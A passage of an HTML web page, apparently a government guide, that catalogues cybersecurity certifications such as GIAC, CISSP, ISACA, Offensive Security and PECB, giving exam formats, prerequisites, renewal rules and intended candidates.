Administrators</li> <li>Security Administrators</li> <li>Network Administrators</li> <li>Security Managers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Mobile Device Security Analyst (GMOB)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s to properly secure mobile devices that are accessing vital information</li> <li>Demonstrates knowledge of assessing and managing mobile device and application security, and mitigating against malware and stolen devices</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Information Security Analysts</li> <li>Penetration Testers</li> <li>Ethical Hackers</li> <li>Network and System Administrators</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Network Forensic Analyst (GNFA)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to perform examinations employing network forensic artifact analysis</li> <li>Exam consists of 50 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Law Enforcement members</li> <li>Digital Forensic and Malware Analysts</li> <li>Cyber Defence Analysts</li> <li>Incident Response team members</li> <li>Security Operations Centre team members</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Penetration Tester (GPEN)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to properly conduct a penetration test, using best practice techniques and methodologies</li> <li>Exam consists of up to 115 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Tester</li> <li>Exploit Developers</li> <li>Network Security personnel</li> <li>Ethical Hackers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Response and Industrial Defence (GRID)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Demonstrates that a candidate understands the Active Defence Approach, ICS-specific attacks, and how these attacks inform mitigation strategies</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Industrial Control System Incident Response Team leads and members</li> <li>Security Operations Centre Team leads and Analysts</li> <li>Active Defenders</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Reverse Engineering Malware (GREM)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s knowledge and skills to reverse-engineer malware that targets common platforms such as Microsoft Windows and web browsers</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>System and Network Administrators</li> <li>Auditors</li> <li>Security Managers</li> <li>Forensic Investigators</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Security Essentials Certification (GSEC)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification</li> <li>Validates an individual’s knowledge of information security beyond simple terminology and concepts</li> <li>Recipients are skilled in active defense, cryptography, security policy and plans, incident handling and securing networks.</li> <li>Exam consists of 180 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Professionals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Security Expert (GSE)</h4> </div> <h5>Certification overview</h5> <ul><li>Less than 250 GSE certificate holders in the world</li> <li>Validates that a candidate has mastered the wide variety of skills required by top security consultants and practitioners</li> <li>Pre-requisites are GSEC, GCIH, GCIA with 2 Gold certifications</li> <li>Exam consists of 2 parts: 24 VM-based hands-on questions and a practical lab</li> <li>Valid for 4 years</li> <li>Recertification requires taking the current version of the exam</li> <li>Renewing GSE certification renews all other active GIAC certifications</li> </ul><h5>Intended candidates</h5> <ul><li>Top Security Consultants and Practitioners</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Security Leadership (GSLC)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification for Managers and Leaders</li> <li>Validates a candidate’s knowledge of governance and technical controls focused on protecting, detecting, and responding to security issues.</li> <li>Exam consists of 115 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Managers/Supervisors of Information Security teams</li> <li>IT Managers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Systems and Network Auditor (GSNA)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification for Managers and Leaders</li> <li>Validates a candidate’s ability to apply basic risk analysis techniques and to conduct technical audits of essential information systems</li> <li>Exam consists of 115 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Technical staff responsible for securing and auditing information systems</li> <li>Auditors</li> <li>Network Administrators</li> <li>Managers of Audit or Security teams</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">GIAC Web Application Penetration Tester (GWAPT)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Validates a candidate’s ability to better secure organizations through penetration testing and thorough understanding of web application security issues.</li> <li>Demonstrates knowledge of web applications exploits and penetration testing methodologies</li> <li>Exam consists of 75 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> <li>Vulnerability Testers</li> <li>Security Analysts</li> <li>Vulnerability Assessment Analysts</li> <li>Ethical Hackers</li> <li>Website Designers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Global Industrial Cyber Security Professional (GICSP)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Assesses a candidate’s base level of knowledge and understanding across a diverse set of professionals who engineer or support control systems and share responsibility for the security of these environments</li> <li>No perquisites</li> <li>Exam consists of 115 questions</li> <li>Valid for 4 years</li> <li>Renewal requires taking the current version of the exam; or obtaining 36 continuing education credits over the 4-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Engineers</li> <li>Industry Managers</li> <li>Security Analysts</li> </ul></details><details class="grouped" id="wb-auto-11"><summary><h3 id="tab8">4.8 International Information Systems Security Certification Consortium</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Cloud Security Professional (CCSP)</h4> </div> <h5>Certification overview</h5> <ul><li>Co-developed with Cloud Security Alliance (CSA)</li> <li>Recognizes IT and information security leaders who have the knowledge and skills with cloud security architecture, design, operations, and service orchestration</li> <li>Candidates require a minimum of 5 years work related experience in IT; at least 3 of those years must be in information security and 1 year in one of the 6 domains of CCSP Common Body of Knowledge</li> <li>Exam consists of 125 multiple choice questions</li> <li>Valid for 3 years</li> <li>Recertification requires obtaining 90 continuing education credits during 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Enterprise Architect</li> <li>Systems Engineer</li> <li>Systems Architect</li> <li>Security Administrator</li> <li>IT and Information Security Leaders</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Information Systems Security Professional (CISSP)</h4> </div> <h5>Certification overview</h5> <ul><li>Advanced-level certification</li> <li>Candidates require a minimum of 5-years related work experience in at least 2 of the 8 (ISC)2 common body of knowledge of domains; or 4-years of work experience and a college degree or other approved credential</li> <li>Exam consists of 100-150 item computer adaptive testing</li> <li>Valid for 3 years</li> <li>Recertification requirements include obtaining 120 continuing professional education credits during the 3-year period</li> <li>Three concentrations are also available to those possessing valid CISSP certification: <ul><li>CISSP-ISSAP (Architecture)</li> <li>CISSP-ISSEP (Engineering)</li> <li>CISSP-ISSMP (Management)</li> </ul></li> </ul><h5>Intended candidates</h5> <ul><li>Chief Information Security Officer</li> <li>Chief Security Officer</li> <li>Security Analyst/Auditor</li> <li>Director of Security</li> <li>IT Director/Manager</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Healthcare Information Security and Privacy Practitioner (HCISPP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates knowledge and skills to implement, manager, or assess security and privacy controls for healthcare and patient information</li> <li>Designed for practitioners and consultants in healthcare information security and privacy</li> <li>Candidates require a minimum of 2-years work experience</li> <li>Exam consists of 125 multiple choice questions</li> <li>Valid for 3 years</li> <li>Recertification requires obtaining 60 continuing education credits during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Compliance Officer</li> <li>Medical Records Supervisor</li> <li>Practice Manager</li> <li>Information Security Manager</li> <li>Health Information Manager</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Systems Security Certified Practitioner (SSCP)</h4> </div> <h5>Certification overview</h5> <ul><li>Global IT security certification</li> <li>Entry-level certification</li> <li>Demonstrates that the holder has the technical skills and knowledge to implement, monitor, and administer an IT infrastructure.</li> <li>Designed for practitioners in operational IT roles or in information security</li> <li>Candidates must have 1 year of cumulative work experience in one or more of the 7 domains of SSCP Common Body of Knowledge; a 1-year experience waiver will be granted to candidates who hold a bachelor’s or master’s degree in Cyber Security</li> <li>Exam consists of 125 multiple choice questions</li> <li>Valid for 3 years</li> <li>Recertification requires obtaining 60 continuing education credits during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Network Security Engineer</li> <li>Systems Administrator</li> <li>Security Analyst</li> <li>Systems/Network Analyst</li> <li>Security Consultant</li> <li>IT Administrators, Directors, or Managers</li> </ul></details><details class="grouped" id="wb-auto-12"><summary><h3 id="tab9">4.9 ISACA</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Cybersecurity Practitioner (CSX‑P)</h4> </div> <h5>Certification overview</h5> <ul><li>New certification created in 2015</li> <li>Recognizes individuals who can act as first responders for security incidents</li> <li>The only certification that tests one’s ability to perform globally validated cyber security covering the 5 core functions of the NIST Cyber Security Framework; Identify, Protect, Detect, Respond, and Recover</li> <li>Candidates must pass a performance-based exam consisting of simulated security incidents.</li> <li>Valid for 3 years</li> <li>Recertification requirements include obtaining 120 hours of continuing professional education during 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Security Practitioners</li> <li>Incident Handlers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified in Risk and Information Systems Control (CRISC)</h4> </div> <h5>Certification overview</h5> <ul><li>Recognizes those who identify, evaluate, and manage risk through the development, implementation, and maintenance of information systems controls</li> <li>Candidates must have 3-years of professional-level risk management and control experience, no education substitutes</li> <li>Valid for 3 years</li> <li>Recertification requirements include obtaining 120 hours of continuing professional education during a 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>IT and Business professionals</li> <li>Risk and Compliance professionals</li> <li>Business Analysts</li> <li>Project Managers</li> <li>Security directors</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Information Security Manager (CISM)</h4> </div> <h5>Certification overview</h5> <ul><li>Management focused certification</li> <li>Recognizes candidates who manage, design, oversee, and assess an enterprise’s information security</li> <li>Candidates require a minimum of 5-years of information security experience gained within the 10-year period before writing the exam</li> <li>Written application is required</li> <li>Exam consists of 150 questions / 4 hours long</li> <li>Valid for 3 years</li> <li>Recertification requirements include obtaining 120 hours of continuing professional education during 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Information security managers and directors</li> <li>IT Security Analysts</li> <li>Risk Analysts</li> <li>IT Auditor</li> <li>Information Systems Security Manager</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Information Systems Auditor (CISA)</h4> </div> <h5>Certification overview</h5> <ul><li>Globally recognized certification</li> <li>Validates a candidate’s audit experience, skills and knowledge, and ability to assess vulnerabilities, report on compliance and institute controls within the enterprise</li> <li>Candidates require 5 years of professional information systems (IS) auditing, control or security work experience; some education substitutes</li> <li>Exam consists of 150 questions</li> <li>Certificate holders are required to take at least 120 hours of continuing education during the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>IS audit control, assurance, and security professionals</li> </ul></details><details class="grouped" id="wb-auto-13"><summary><h3 id="tab10">4.10 itSM Solutions</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">NIST Cyber Security Professional (NCSP) Foundation</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification</li> <li>Validates that a candidate has the knowledge and ability to operationalize the NIST Cyber Security Framework</li> <li>No prerequisites but basic computing skills and security knowledge are recommended</li> <li>Exam consists of 40 multiple choice questions</li> </ul><h5>Intended candidates</h5> <ul><li>Security, IT, Risk Management professionals</li> <li>Auditors</li> <li>Other professions who need to understand the basics of cyber security, the components of the NIST Cyber Security Framework and how it aligns to risk management</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">NCSP Practitioner</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s skills and abilities to design, build, test, manage, improve a cyber security program based on NCSF</li> <li>Candidates must complete the NCSF Foundation training/exam before attempting the exam</li> <li>Exam consists of 65 multiple choice questions</li> </ul><h5>Intended candidates</h5> <ul><li>IT and Cyber Security Professionals</li> </ul></details><details class="grouped" id="wb-auto-14"><summary><h3 id="tab11">4.11 McAfee Institute</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Counterintelligence Threat Analyst (CCTA)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to identify and investigate cyber criminals, conduct cyber counterintelligence investigations to mitigate threats, and investigate and prosecute hackers and cyber criminals</li> <li>Prerequisites: Bachelor’s degree or higher and 3 years of experience in a related field, or associate degree and 4 years of experience</li> <li>Candidates must pass a background check</li> <li>Exam consists of 200 questions</li> <li>Valid for 2 years</li> <li>To renew, candidates must pay a renewal fee and obtain continuing education credits</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals in cyber security, law enforcement, loss prevention roles</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Cyber Intelligence Investigator (CCII)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to conduct cyber investigations, utilize methodologies to prosecute cyber criminals, apply mobile and digital forensics, recognize fraud and hacking, and develop intelligence gathering.</li> <li>Perquisites: Bachelor’s degree or higher and 1 year of experience in a related field, or an associate degree and 2 years of experience</li> <li>Candidates must pass a background check</li> <li>Exam consists of 200 questions</li> <li>Valid for 2 years</li> <li>To renew, candidates must pay a renewal fee and obtain continuing education credits</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals in cyber security, law enforcement, loss prevention roles</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Cyber Intelligence Professional (CCIP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to conduct cyber investigations, utilize methodologies to prosecute cyber criminals, design and implement a cyber program, understand mobile and digital forensics, and recognize fraud and hacking</li> <li>Perquisites: Bachelor’s degree or higher and 3 years of experience in a related field, or an associate degree and 4 years of experience</li> <li>Candidates must pass a background check</li> <li>Exam consists of 200 questions</li> <li>Valid for 2 years</li> <li>To renew, candidates must pay a renewal fee and obtain continuing education credits</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals in cyber security, law enforcement, loss prevention roles</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Expert in Cyber Investigations (CECI)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to recognize and identify cyber criminals, conduct cyber counterintelligence investigations to mitigate threats, protect an organization’s assets and information, and investigate and prosecute hackers and cybercriminals</li> <li>Prerequisites: Bachelor’s degree or higher and 4 years of experience in a related field, or an associate degree and 6 years of experience</li> <li>Candidates must pass a background check</li> <li>Exam consists of 200 true/false, multiple choice, and scenario-based questions.</li> <li>Valid for 2 years</li> <li>To renew, candidates must pay a renewal fee and obtain continuing education credits</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals in cyber security, law enforcement, loss prevention roles</li> </ul></details><details class="grouped" id="wb-auto-15"><summary><h3 id="tab12">4.12 Offensive Security</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Offensive Security Certified Expert (OSCE)</h4> </div> <h5>Certification overview</h5> <ul><li>Demonstrates that a candidate has a mastery of advanced penetration testing skills; analyze, correct, modify, and port exploit code; and craft binaries to evade antivirus software</li> <li>Candidates should have prior knowledge of Windows exploitation techniques, Linux experience, and a solid understanding of TCP/IC and networking</li> <li>Candidates must complete the Cracking the Perimeter course before attempting exam</li> <li>Exam has a 48-hour time limit and consists of hands on penetration testing in an isolated virtual private network (VPN); must also submit a comprehensive test report</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> <li>Security Professionals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Offensive Security Certified Professional (OSCP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates the knowledge and skills needed to identify vulnerabilities and execute organized attacks in a controlled and focused manner</li> <li>Intended for penetration testers with strong technical and ethical hacking backgrounds, and a solid understanding of TCP/IP networking</li> <li>Candidates must first complete the Penetration Testing training course</li> <li>Certification is hard to obtain due to its notoriously difficult exam</li> <li>Candidates must pass a 24-hour exam where they are required to attack and penetrate live machines in a safe lab environment; must also submit a comprehensive penetration test report</li> <li>Certification never expires</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> <li>Network Administrators</li> <li>Network Security Professionals</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Offensive Security Exploitation Expert (OSEE)</h4> </div> <h5>Certification overview</h5> <ul><li>Requires significant time investment</li> <li>Validates a candidate’s ability to analyze vulnerable software, find problematic code, develop sophisticated exploits under various modern Windows operating systems</li> <li>Candidates should have experience in developing windows exploits and understand how to operate a debugger</li> <li>Candidates must complete the Advanced Windows Exploitation course before attempting the exam</li> <li>Candidates should obtain OSCE certification first</li> <li>Exam consists of developing and documenting exploits during a 72-hour period; must also submit a comprehensive penetration test report</li> <li>Certification qualifies the recipient for 40 (ISC)2 continuing education credits</li> <li>Certification never expires</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Offensive Security Web Expert (OSWE)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates that a candidate has practical knowledge of web application assessment and hacking process; and ability to review advanced source code in web applications, identify vulnerabilities, and exploit them</li> <li>Candidates should have familiarity with coding languages and Linux, ability to write scripts, experience with web proxies, a general understanding of web app attack vectors, theory and practice, and a solid understanding of TCP/IP and networking</li> <li>Candidates are required to take the Advanced Web Attacks and Exploitation course before attempting the exam</li> <li>48-hour exam consisting of hands-on web application assessment in an isolated VPN network; successful candidates must also submit an assessment report</li> <li>Certification never expires</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> <li>Web Application Security Specialists</li> <li>Software Engineers</li> <li>Web Developers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Offensive Security Wireless Professional (OSWP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s ability to identify existing encryptions and vulnerabilities in Institute of Electronic Engineers (IEEE) 802.11 networks, circumvent security restrictions and recover encryption keys in use</li> <li>Candidates must have a solid understanding of TCP/IP and the Open Systems Interconnections (OSI) model, familiarity with Linux</li> <li>Candidates must complete the Offensive Security Wireless Attacks course before attempting the exam</li> <li>4-hour exam requires that candidate to conduct wireless info gathering, and implement various attacks to get access to the target networks; must also submit a penetration test report</li> <li>Certification never expires</li> </ul><h5>Intended candidates</h5> <ul><li>Network Administrators</li> <li>Penetration Testers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Security Operations and Defensive Analysis (OSDA)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates candidates can recognize common methodologies for end-to-end attack chains (MITRE ATT&amp;CK® framework)</li> <li>Candidates can conduct guided audits of compromised systems across multiple operating systems</li> <li>Candidates will demonstrate ability using a SIEM to identify and assess an attack as it unfolds live</li> <li>Validates candidates can manually inspect logs in order to be able to recognize both normal and abnormal or benign and malicious activity</li> <li>Certification must be renewed every three years</li> </ul><h5>Intended candidates</h5> <ul><li>Penetration Testers</li> <li>Network Security Professionals</li> </ul></details><details class="grouped"><summary><h3 id="tab13">4.13 PECB</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Lead Ethical Hacker</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of information gathering tools and techniques, threat modeling and vulnerability identification, exploitation techniques, reporting, etc.</li> <li>Candidates are required to have knowledge of information security concepts and principles and advanced skills in operating systems</li> <li>Candidates are required to have 2 years of penetration testing and cyber security experience</li> <li>Candidates are required to sign the PECB Code of Ethics and the PECB CLEH Code of Conduct</li> <li>6-hour open book exam consists of 2 parts: the candidate must first compromise 2 or more target machines through penetration testing, then document the process in a written report</li> <li>Valid for 3 years</li> </ul><p>Renewal requirements include demonstrating that you have are still performing tasks related to the certification, meeting the required number of Continuing Professional Development (CPD) credits, and paying the annual maintenance fee</p> <h5>Intended candidates</h5> <ul><li>Individuals responsible for the security of information systems</li> <li>Information Security team members</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Computer Forensics Foundation</h4> </div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of the fundamental principles and concepts of computer forensics and computer forensics processes</li> <li>No prerequisites</li> <li>Candidates are required to sign the PECB Code of Ethics</li> <li>1-hour open book exam consists of 5 essay type questions Valid for 3 years</li> <li>Renewal requirements include demonstrating that you have are still performing tasks related to the certification, meeting the required number of Continuing Professional Development (CPD) credits, and paying the annual maintenance fee</li> </ul><h5>Intended candidates</h5> <ul><li>Individuals interested in pursuing a career in Computer Forensics</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">ISO/IEC 27032 Foundation</h4> </div> <h5>Certification overview</h5> <ul><li>Validates an individual’s knowledge of the fundamental cyber security principles and concepts, and understanding of the approaches, methods, and techniques used in cyber security</li> <li>No prerequisites</li> <li>Candidates are required to sign the PECB Code of Ethics</li> <li>1 hour exam consists of 40 multiple choice questions</li> <li>Valid for 3 years</li> <li>Renewal requirements include demonstrating that you have are still performing tasks related to the certification, meeting the required number of Continuing Professional Development (CPD) credits, and paying the annual maintenance fee</li> </ul><h5>Intended candidates</h5> <ul><li>Cyber security and Information Security professionals</li> <li>Individuals interested in pursuing a career in cyber security</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">ISO/IEC 27032 Lead Cybersecurity Manager</h4> <ul><li>Certified Provisional</li> <li>Certified</li> <li>Certified Lead</li> <li>Certified Senior Lead</li> </ul></div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of the fundamental principles and concepts of cyber security, roles and responsibilities of stakeholders, cyber security risk management, attack mechanisms and cybersecurity controls, information sharing and coordination, integrating a cyber security program in business continuity management, and cyber security incident management and performance measurement</li> <li>Candidates are required to have a fundamental understanding of ISO/IEC 27032 and comprehensive knowledge of cyber security</li> <li>Candidates are required to sign the PECB Code of Ethics</li> <li>3-hour open book exam consists of 12 essay type questions</li> <li>Candidates who pass the exam can apply for 1 of 4 credentials based on the number of years of work experience, cyber security experience, and total number of hours of cyber security activities</li> <li>Valid for 3 years</li> <li>Renewal requirements include demonstrating that you have are still performing tasks related to the certification, meeting the required number of Continuing Professional Development (CPD) credits, and paying the annual maintenance fee</li> </ul><h5>Intended candidates</h5> <ul><li>Cyber security and Information Security Professionals</li> <li>Individuals responsible for developing and/or managing a cyber security program</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Lead Forensics Examiner</h4> <ul><li>Certified Provisional</li> <li>Certified</li> <li>Certified Lead</li> </ul></div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of the fundamental principles and concepts of computer forensics, digital forensics lab requirements, computer crime investigation and forensics examinations, and maintaining chain of evidence</li> <li>Candidates are required to have knowledge of computer forensics</li> <li>Candidates are required to sign the PECB Code of Ethics</li> <li>3-hour exam open book exam consists of 14 essay type questions</li> <li>Candidates who pass the exam can apply for 1 of 3 credentials (based on the number of years of work experience, cyber security experience, and total number of hours of forensics activities</li> <li>Valid for 3 years</li> <li>Renewal requirements include demonstrating that you have are still performing tasks related to the certification, meeting the required number of Continuing Professional Development (CPD) credits, and paying the annual maintenance fee</li> </ul><h5>Intended candidates</h5> <ul><li>Computer Forensics specialists and consultants</li> <li>Cyber Security professionals</li> <li>Cyber Intelligence Analysts</li> <li>Law Enforcement professionals</li> <li>Electronic Data Analysts</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Lead Pen Test Professional</h4> <ul><li>Certified Provisional</li> <li>Certified</li> <li>Certified Lead</li> </ul></div> <h5>Certification overview</h5> <ul><li>Validates a candidate’s knowledge of the fundamental principles and concepts in penetration testing, technical foundation of penetration testing, testing types, and analyzing results and the reporting process</li> <li>Candidates are required to have a fundamental understanding of penetration testing and comprehensive knowledge of cyber security</li> <li>Candidates are required to sigh the PECB Code of Ethics</li> <li>3-hour exam consists of 150 multiple choice questions</li> <li>Candidates who pass the exam can apply for 1 of 3 credentials (based on the number of years of work experience, pen testing experience, and total number of hours of pen testing activities</li> <li>Valid for 3 years</li> <li>Renewal requirements include demonstrating that you have are still performing tasks related to the certification, meeting the required number of Continuing Professional Development (CPD) credits, and paying the annual maintenance fee</li> </ul><h5>Intended candidates</h5> <ul><li>IT Professionals</li> <li>Auditors</li> <li>IT and Risk Mangers</li> <li>Penetration Testers</li> <li>Ethical Hackers</li> </ul></details><details class="grouped" id="wb-auto-16"><summary><h3 id="tab14">4.14 SECO Institute</h3> </summary><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Certified Ethical Hacker (S‑EHE)</h4> </div> <h5>Certification overview</h5> <ul><li>Program is currently being re-designed</li> </ul><h5>Intended candidates</h5> <ul><li>N/A</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Dark Web Foundations</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification</li> <li>Developed by the Netherlands Organisation for Applied Scientific Research in collaboration with the International Criminal Police Organization (INTERPOL)</li> <li>Demonstrates that a candidate understands how to use the dark web in a secure way</li> <li>Exam consists of 40 multiple choice questions</li> <li>Valid for 3 years</li> </ul><h5>Intended candidates</h5> <ul><li>IT Security Professionals</li> <li>Law Enforcement</li> <li>Policy makers and Government Officials</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Ethical Hacking Foundations (S‑EHF)</h4> </div> <h5>Certification overview</h5> <ul><li>Entry-level certification</li> <li>Validates that a candidate has an in-depth understanding of basic penetration testing techniques and possesses fundamental hacking skills</li> <li>Exam consists of 40 multiple choice questions</li> <li>Valid for life and is not subject to re-certification requirements</li> </ul><h5>Intended candidates</h5> <ul><li>Web Developers</li> <li>Computer Software Engineers</li> <li>Security Administrator</li> <li>Network Engineer</li> <li>Ethical Hackers</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Ethical Hacking Leader (S‑EHL)</h4> </div> <h5>Certification overview</h5> <ul><li>Highest achievable qualification in the Ethical Hacking certification track</li> <li>Demonstrates that a candidate has excellent penetration testing skills and experience in leading penetration tests</li> <li>Candidates must have expert-level knowledge (SECO Expert level certificate or equivalent) and at least 3 years of relevant work experience</li> <li>No exam</li> <li>Valid for 1 year</li> <li>To renew, candidates must pay annual membership fees and obtain 40 continuing education credits during the year</li> </ul><h5>Intended candidates</h5> <ul><li>Professionals who seek to validate the expertise they have built up through hands-on work experience</li> </ul><div class="mrgn-tp-md well well-sm"> <h4 class="mrgn-tp-0 mrgn-bttm-0">Ethical Hacking Practitioner (S‑EHP)</h4> </div> <h5>Certification overview</h5> <ul><li>Validates that a candidate has a full understanding of the penetration testing process and familiarity with common penetration testing techniques</li> <li>Candidates should have a good understanding of ethical hacking fundamentals</li> <li>S-EHF certificate (or equivalent) is recommended</li> <li>3-part exam: 10 multiple choice questions, 5 essay type questions and 1 case study</li> <li>To renew, candidates must pay annual membership fees and obtain 60 continuing education credits over the 3-year period</li> </ul><h5>Intended candidates</h5> <ul><li>Web Developers</li> <li>Security 